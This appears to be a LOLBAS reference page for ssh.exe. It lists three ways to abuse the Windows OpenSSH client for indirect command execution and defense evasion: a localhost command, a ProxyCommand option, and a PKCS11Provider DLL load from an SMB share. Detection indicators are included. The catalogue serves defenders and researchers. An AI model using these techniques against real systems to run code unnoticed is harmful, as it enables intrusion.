LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

ssh.exe

View source

Ssh.exe is the OpenSSH compatible client can be used to connect to Windows 10 (build 1809 and later) and Windows Server 2019 devices.

Execute
03COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

Execute3

EXAMPLE 01T1202

Executes specified command on host machine. The prompt for password can be eliminated by adding the host's public key in the user's authorized_keys file. Adversaries can do the same for execution on remote machines.

COMMAND
ssh localhost "{CMD}"
USE CASE
Execute specified command, can be used for defense evasion.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10 1809, Windows Server 2019
Execute · CMD
EXAMPLE 02T1202

Executes specified command from ssh.exe

COMMAND
ssh -o ProxyCommand="{CMD}" .
USE CASE
Performs execution of specified file, can be used as a defensive evasion.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10
Execute · CMD
EXAMPLE 03T1202

Executes a DLL from an SMB share by abusing the PKCS11Provider option. The payload executes upon DLL load (DllMain) and requires exporting C_GetFunctionList to prevent premature termination by `ssh.exe`. Note that all backslashes should be escaped (i.e. every `\` should be turned into `\\`).

COMMAND
ssh -o PKCS11Provider="\\\\127.0.0.1\\Temp\\example.dll" win@github.com
USE CASE
Performs indirect execution of a specified DLL from a remote share, can be used for defense evasion.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · DLLExecute · Remote
02 / ON DISK

Known paths

c:\windows\system32\OpenSSH\ssh.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Event ID 4624 with process name C:\Windows\System32\OpenSSH\sshd.exe.

  • IOC

    command line arguments specifying execution.

REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Akshat Pradhan
Felix Boulet
Edo Maland